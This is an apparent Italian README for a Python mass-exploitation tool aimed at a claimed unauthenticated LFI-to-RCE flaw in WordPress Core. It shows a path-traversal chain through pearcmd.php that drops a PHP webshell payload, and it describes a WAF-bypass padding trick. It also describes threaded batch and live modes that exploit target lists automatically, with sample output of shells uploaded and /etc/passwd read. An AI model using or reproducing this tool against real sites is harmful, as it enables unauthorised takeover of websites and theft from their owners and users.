Exploit in Python per CVE-2026-87902, una LFI non autenticata in WordPress Core ≤7.1.1: identifica OPML, rileva la webroot, sfrutta il gadget PEAR per rilasciare una webshell e verifica l'RCE.
╔══════════════════════════════════════════════════════╗
║ ♡ CVE-2026-87902 · WordPress Core ♡ ║
║ Unauthenticated LFI → RCE · Affected <= 7.1.1 ║
║ === Majestic666 x Caterscam === ║
╚══════════════════════════════════════════════════════╝
WordPress Core ≤ 7.1.1 — LFI non autenticato → RCE
CVE-2026-87902 è una vulnerabilità di Local File Inclusion non autenticata in WordPress Core ≤ 7.1.1 tramite locate_template().
Il parametro pagename nella query string viene passato senza sanitizzazione a locate_template(), consentendo il path traversal per includere file PHP arbitrari già presenti sul server — in particolare pearcmd.php, che accetta argomenti tramite QUERY_STRING e può scrivere file controllati dall'attaccante.
pagename path traversal
└─ include ../../../../wp-links-opml.php ← LFI confirmation (OPML)
└─ include ../../../../usr/share/php/pearcmd.php ← PEAR gadget
└─ &+config-create+/<?=system($_GET[x]);?>+/dest.php
└─ mr666_<hex>.php ← webshell in wp-content/
└─ ?x=id → uid=33(www-data) ... ← RCE confirmed
| Funzionalità | Dettaglio |
|---|---|
| Fingerprint automatico OPML | Recupera wp-links-opml.php prima della scansione LFI, estrae firme strutturali XML/generator, scarta i falsi positivi in cui l'HTML appare prima del contenuto OPML |
| Rilevamento versione multi-sorgente | meta → rss → opml → readme → asset → login → install → wp-json |
| Rilevamento automatico della webroot | 3 metodi: leak del percorso negli errori PHP, ABSPATH in wp-config.php, percorso di wp-load.php |
| 90+ pattern di fallback per la webroot | cPanel, Plesk, Bitnami, Docker, DirectAdmin, Beget, LiteSpeed, Termux, ecc. |
| Scansione a livelli PEAR | Livello FAST (20 percorsi) → livello FULL (70+ percorsi) se FAST non trova nulla |
| Bypass WAF | Padding del body POST di 50 KB per spingere pagename oltre la soglia di ispezione del body da parte del WAF |
| Pulitore dell'output della shell | Deduplica l'output ripetuto 12 volte dei comandi di PEAR; estrae righe pulite uid= / uname |
| Verifica di massa | Esegue id su ogni shell rilasciata per confermare l'RCE attivo prima di contrassegnarla come riuscita |
| Modalità live | Segue un file ed esegue l'exploit su nuovi target man mano che vengono aggiunte righe — il file non deve esistere all'avvio |
| Modalità singola | Shell interattiva con ciclo di comandi completo in stile PTY |
urllib, ssl, re, json, threading)python3 majestic666.py
Sfrutta un singolo target, ottieni una shell e accedi a un prompt dei comandi interattivo.
♡ [1] Single · interactive shell
◆ [2] Mass · batch file — one-shot or live tail
⚡ [3] Live · watch file, exploit new targets
✗ [4] Exit · see you next time ♡
♡ choice [1/2/3/4] : 1
♡ target url : https://target.com
────────────────────────────────────────────────────
◆ scanning https://target.com
◆ wp=7.0.3 (src=meta,opml) php=PHP/8.1.12 server=nginx
◆ opml sigs: 3
[*] lfi d=3 suf=templates http=200 OPML=YES
♡ LFI confirmed — depth=3 suffix=templates
[*] pear sweep tier1: 20 paths
[+] gadget /usr/share/php/pearcmd.php depth=4 (tier=FAST)
[*] webroot attempts: 186 (auto+defaults)
[*] write /var/www/html/wp-content/mr666_a3f8c192.php -> http=200
★ shell uploaded
★ ▶ https://target.com/wp-content/mr666_a3f8c192.php
♡ execute : curl 'https://target.com/wp-content/mr666_a3f8c192.php?x=id'
────────────────────────────────────────────────────
♡ shell> id
▶ uid=33(www-data) gid=33(www-data) groups=33(www-data)
♡ shell> uname -a
▶ Linux srv01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
♡ shell> cat /etc/passwd | head -3
▶ root:x:0:0:root:/root:/bin/bash
▶ daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
▶ bin:x:2:2:bin:/bin:/usr/sbin/nologin
♡ shell> exit
♡ bye ♡
Shell personalizzata: lasciare vuoto il prompt
shell fileper utilizzare il webshell integrato<?=system($_GET[x]);?>, oppure inserire un percorso al proprio file.phpper inoltrarlo attraverso il gadget PEAR.
Sfrutta un elenco di target in parallelo. Due sotto-modalità: one-shot e live tail.
Elabora un file di target una sola volta ed esce.
♡ choice [1/2/3/4] : 2
♡ [1] one-shot · process file once
⚡ [2] live · tail file, exploit new targets
♡ scan mode [1/2] : 1
◆ targets file [targets.txt] : targets.txt
◆ threads [1-50] : 20
╾────────────── BATCH SCAN ──────────────╼
◆ targets ▶ 150
◆ threads ▶ 20
◆ output ▶ rce.txt
◆ verify ▶ id
──────────────────────────────────────────────────
[1] https://vuln1.com [Wordpress 7.0.3] [ VULN ] [ RCE OK ] uid=33(www-data)...
[2] https://shop.nope.io [Not Wordpress or WAF]
[3] https://patched.net [Wordpress 7.1.2] [ PATCHED ]
[4] https://vuln2.org [Wordpress 6.9.1] [ VULN ] [ RCE OK ] uid=1000(deploy)...
[5] https://dead.example [ FAIL ] [ Failed ]
...
◆ [50/150] ♡ vuln=2 ★ rce=2 ⚠ unverif=0 ⚠ bypass=0 ✗ skip=46
╾────────────── RESULTS ──────────────────╼
◆ scanned ▶ 150
♡ vuln ▶ 4
♡ lfi only ▶ 1
★ rce ok ▶ 3
⚠ unverified ▶ 1
⚠ bypass ▶ 1
◆ patched ▶ 12
✗ skip ▶ 131
✗ dead ▶ 2
──────────────────────────────────────────────────
★ saved ▶ rce.txt
⚠ bypass ▶ bypass-manual.txt
Come la modalità [3] ma accessibile tramite il menu della modalità Mass.
♡ scan mode [1/2] : 2
◆ targets file [targets.txt] : feed.txt
◆ threads [1-50] : 10
[LIVE] Watching feed.txt — Ctrl+C to stop
Threads : 10
Output : rce.txt
──────────────────────────────────────────────────
[LIVE] queued https://new-target.com
[7] https://new-target.com [Wordpress 6.8.3] [ VULN ] [ RCE OK ] uid=33(www-data)...
Inizia immediatamente a osservare un file. Le nuove righe vengono sfruttate non appena compaiono.
Il file non deve esistere all'avvio — utile se abbinato a uno scanner che aggiunge target.
♡ choice [1/2/3/4] : 3
⚡ targets file [targets.txt] : /tmp/discovered.txt
⚡ threads [1-50] : 15
[LIVE] Watching /tmp/discovered.txt — Ctrl+C to stop
Threads : 15
Output : rce.txt
──────────────────────────────────────────────────
[LIVE] queued https://site1.example.com
[LIVE] queued https://site2.example.com
[1] https://site1.example.com [Wordpress 7.0.1] [ VULN ] [ RCE OK ] uid=33(www-data)
[2] https://site2.example.com [Not Wordpress or WAF]
...
^C
[LIVE] Stopped.
──────────────────────────────────────────────────
♡ Vuln : 1
★ RCE OK : 1
⚠ Unverified : 0
⚠ Bypass : 0
✗ Skip : 1
──────────────────────────────────────────────────
★ saved ▶ rce.txt
| File | Contenuto |
|---|---|
rce.txt | <url> | [RCE OK] <shell_url> | <id output> |
bypass-manual.txt | <url> | lfi-only — LFI confermato ma nessun gadget PEAR trovato |